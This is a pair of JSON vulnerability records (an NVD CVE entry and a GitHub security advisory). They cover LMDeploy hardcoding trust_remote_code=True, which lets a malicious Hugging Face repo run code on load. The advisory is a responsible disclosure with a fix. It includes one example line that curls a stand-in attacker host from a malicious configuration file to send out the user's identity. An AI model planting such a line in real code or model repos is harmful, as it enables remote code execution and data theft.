{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LMDeploy is a toolkit for compressing, deploying, and serving large language models. In versions 0.12.3 and prior, hardcoded \"trust_remote_code=True\" enables HF supply-chain RCE without user opt-in. At time of publication, there are no publicly available patches."
    }
  ],
  "id": "CVE-2026-46517",
  "lastModified": "2026-06-11T12:16:31.507",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 7.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-06-10T00:16:53.827",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        },
        {
          "lang": "en",
          "value": "CWE-915"
        },
        {
          "lang": "en",
          "value": "CWE-1188"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-915",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T19:33:32Z",
    "nvd_published_at": "2026-06-10T00:16:53Z",
    "severity": "HIGH"
  },
  "details": "\u003e ## \ud83d\udccb Reframing (2026-05-02): implicit unsafe remote-code path, not \"supply-chain\"\n\u003e\n\u003e The accurate description of this vulnerability is:\n\u003e **\"`get_model_arch` and related helpers hardcode `trust_remote_code=True`\n\u003e with no opt-out, creating an implicit unsafe remote-code load path\n\u003e on every model fetch.\"**\n\u003e\n\u003e What this report does NOT claim:\n\u003e * It is NOT a network-attack RCE \u2014 the user supplies the model\n\u003e   reference; LMDeploy honors it.\n\u003e * It is NOT a \"supply chain\" CVE in the classical sense (where a\n\u003e   benign upstream is compromised) \u2014 the user explicitly types the\n\u003e   repo name.\n\u003e\n\u003e What this report DOES claim:\n\u003e * Other inference frameworks (vLLM, TGI, Hugging Face transformers\n\u003e   itself) all expose `--trust-remote-code` as **opt-in** so that\n\u003e   users who consciously load known-safe repos can opt in, while\n\u003e   users following a tutorial cannot accidentally execute attacker\n\u003e   Python by typing a wrong repo name.\n\u003e * LMDeploy\u0027s hardcoded True is an **implicit** trust-boundary\n\u003e   override that violates HF Transformers\u0027 default-secure stance\n\u003e   (`trust_remote_code=False` since transformers \u2265 4.30).\n\u003e * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting\n\u003e   False, threaded through the three sites, matching the rest of\n\u003e   the ecosystem.\n\u003e\n\u003e Severity should be assessed as **hardening / safe-by-default**,\n\u003e not as full unauthenticated RCE. CVSS revised to **5.5 Medium**\n\u003e (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` \u00d7 user-must-load qualifier).\n\u003e\n\u003e Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.\n\n---\n\n# F13 \u2014 LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in\n\n**Reporter:** ibondarenko1 / sactransport2000@gmail.com\n**Coordinated-disclosure window:** 90 days from initial vendor email.\n\n## TL;DR\n\nLMDeploy unilaterally passes `trust_remote_code=True` to\n`transformers.AutoConfig.from_pretrained()` (and several other\n`from_pretrained` callers) **regardless of any user opt-in**. The\nflag is hardcoded `True` in source \u2014 there is no CLI flag, no\nenvironment variable, no parameter, and no warning that lets a\nuser refuse remote code execution from the model repository.\nThis is a **silent override of HuggingFace Transformers\u0027 own\ndefault-secure stance** (`trust_remote_code=False`) introduced\nin HF Transformers \u2265 4.30 specifically to prevent this class of\nsupply-chain RCE.\n\nThe user running `lmdeploy serve api_server \u003cattacker_repo\u003e`,\n`lmdeploy lite calibrate \u003cattacker_repo\u003e`, etc. has **no way to\nopt out**. The only escape hatch is for the user to never load\nany third-party HF repo with LMDeploy \u2014 which is incompatible\nwith LMDeploy\u0027s documented use case.\n\nHuggingFace\u0027s `trust_remote_code=False` default exists exactly to\nprevent silent RCE when loading a third-party repo. LMDeploy overrides\nthis default, restoring the unsafe behaviour transparently. A malicious\nHF repo with a `configuration_*.py` shim runs Python code as the\nLMDeploy user at the very first call to `get_model_arch(...)`.\n\nThis is a documented anti-pattern (see HF Hub docs:\n\"Trusting custom code is therefore tricky...\"). Multiple peer\nprojects fixed similar issues \u2014 e.g. Hugging Face Transformers\nitself made this opt-in by default, and `vllm` exposes the flag\nthrough `--trust-remote-code` rather than hardcoding it.\n\n## Affected version\n\n* Repository: `github.com/InternLM/lmdeploy`, branch `main`.\n* Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`\n  (2026-05-02).\n* Pinned blob SHAs:\n  * `lmdeploy/archs.py` \u2192 `68fa03a407734be1e2ae04098d34e9acdbe98262`\n  * `lmdeploy/lite/apis/calibrate.py` \u2192\n    `0728304bdc3c03eee1d790bfbd5496df080a0ecd`\n  * `lmdeploy/lite/utils/load.py` \u2192\n    `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`\n  * `lmdeploy/pytorch/check_env/model.py` \u2192\n    `b1a2daaa426bf5fe25030f7913c703eed9f5b261`\n\nSnapshots of all four files are in `source_pinned/`.\n\n## Source-level evidence\n\n### Site 1 \u2014 architecture detection (every load goes through here)\n\n`lmdeploy/archs.py:147-157` \u2014 `get_model_arch`:\n```python\ndef get_model_arch(model_path: str):\n    \"\"\"Get a model\u0027s architecture and configuration.\"\"\"\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\n**Both** the primary path and the fallback hardcode\n`trust_remote_code=True`. There is no parameter to override it. This\nfunction is called from every model-loading path in lmdeploy.\n\n### Site 2 \u2014 quantization CLI\n\n`lmdeploy/lite/apis/calibrate.py:248-251`:\n```python\ntokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)\n...\nmodel = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)\n```\n\n`lmdeploy lite calibrate \u003crepo\u003e` and downstream quant CLIs (gptq,\nawq) all flow through this. Hardcoded.\n\n### Site 3 \u2014 calibration helper\n\n`lmdeploy/lite/utils/load.py:55`:\n```python\ndef load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):\n    ...\n    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)\n```\n\nEven if the caller does not pass `trust_remote_code=True` in\n`**kwargs`, the helper internally hardcodes it on the config call\n(line 55), then loads the model on line 74. The config call alone is\nsufficient for RCE: HF Transformers downloads `configuration_*.py`\nfrom the repo and `import`s it whenever `trust_remote_code=True`.\n\n### Site 4 \u2014 pytorch engine check\n\n`lmdeploy/pytorch/check_env/model.py:10,99,234,242` \u2014\n`trust_remote_code: bool = True` is the default value for the engine\u0027s\nparameter. Unlike the three sites above, this is \"default true\" not\n\"hardcoded true\" \u2014 a determined caller can pass False \u2014 but every\nshipped CLI passes True or relies on the default.\n\n### What `trust_remote_code=True` actually enables\n\nWhen `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is\ncalled and the repo\u0027s `config.json` contains an `auto_map` key\npointing to a custom `configuration_\u003cname\u003e.py`:\n\n1. HF Transformers downloads the `.py` file from the repo.\n2. HF imports the module via `importlib`, **executing the file\u0027s\n   top-level code** (any `print`, `os.system`, `subprocess.run`,\n   `urllib.request.urlopen`, etc. fires now).\n3. HF then instantiates the named class.\n\nSo a malicious repo only needs a top-level\n`os.system(\"curl https://attacker/?$(whoami)\")` in\n`configuration_evil.py`. It runs as the lmdeploy process user.\n\n## Threat model\n\n**Attack surface.** Any user who runs an lmdeploy CLI command against\na HuggingFace repo identifier they did not personally vet. This\nincludes:\n\n* Casual users following a tutorial that says\n  `lmdeploy serve api_server \u003csome_repo\u003e`.\n* CI pipelines that automatically pull a model from HF Hub by\n  configuration (e.g. updates to a non-Pinned version tag).\n* Researchers comparing models from many authors. Even running\n  `lmdeploy lite calibrate` for benchmarking is enough.\n\nThe user is **not warned** that arbitrary Python from the repo will\nexecute, and there is **no flag** to disable it. The CVE class is\nCWE-94 (Improper Control of Generation of Code, supply-chain\nflavour) and CWE-915 (Improperly Controlled Modification of\nDynamically-Determined Object Attributes).\n\n## Comparison to peer projects\n\n| Project | trust_remote_code default | User control |\n|---|---|---|\n| HuggingFace Transformers | False | `trust_remote_code` keyword arg |\n| vLLM | False | `--trust-remote-code` flag |\n| **LMDeploy** | **True (hardcoded)** | **None** |\n| TGI | False | `--trust-remote-code` flag |\n\nLMDeploy is the outlier. The rationale is presumably \"internal\nmodels like InternLM need custom configuration_*.py\", but the fix is\nto accept a CLI flag like `--trust-remote-code` and default-False as\nthe rest of the ecosystem does.\n\n## Suggested fix\n\nReplace every hardcoded `trust_remote_code=True` with an explicit\nopt-in via CLI flag:\n\n```python\n# lmdeploy/archs.py \u2014 get_model_arch\ndef get_model_arch(model_path: str, trust_remote_code: bool = False):\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n```\n\nWire `trust_remote_code` through every call site. Add `--trust-remote-code`\nto lmdeploy\u0027s CLI parser and forward it from server / calibrate /\ngptq / etc. **Default False**.\n\nA patch fragment is in `patch.diff`.\n\n## Disclosure plan\n\n1. Submit privately via lmdeploy security contact (typically email or\n   GitHub Security Advisory at\n   `https://github.com/InternLM/lmdeploy/security/advisories/new`).\n2. Reference Hugging Face Transformers\u0027 historical opt-out \u2192 opt-in\n   change as precedent for the fix shape.\n3. 90-day coordinated-disclosure window starting from acknowledgement.\n4. Request CVE through GHSA flow once the patch lands.\n\n## Why static-only is sufficient here\n\nUnlike F11 (RCE chain through `_load_pt_file`) which required a\nruntime PoC to demonstrate the pickle gadget execution, this finding\nis a **single trust-flag flip** \u2014 the behaviour of\n`AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF\nrepo with a malicious `configuration_*.py` is documented behaviour of\nHF Transformers itself (their own docs warn against it). Reproducing\nit adds no new evidence; the static flag-state is the bug.\n\nIf the vendor requests a runtime PoC during triage we will provide\none (a malicious HF repo with `configuration_evil.py` + a one-liner\n`lmdeploy lite calibrate \u003crepo\u003e` invocation), but holding it back from\nthe initial advisory avoids publishing a working exploit during the\ndisclosure window.",
  "id": "GHSA-9xq9-36w5-q796",
  "modified": "2026-06-10T13:41:20Z",
  "published": "2026-05-21T19:33:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46517"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out"
}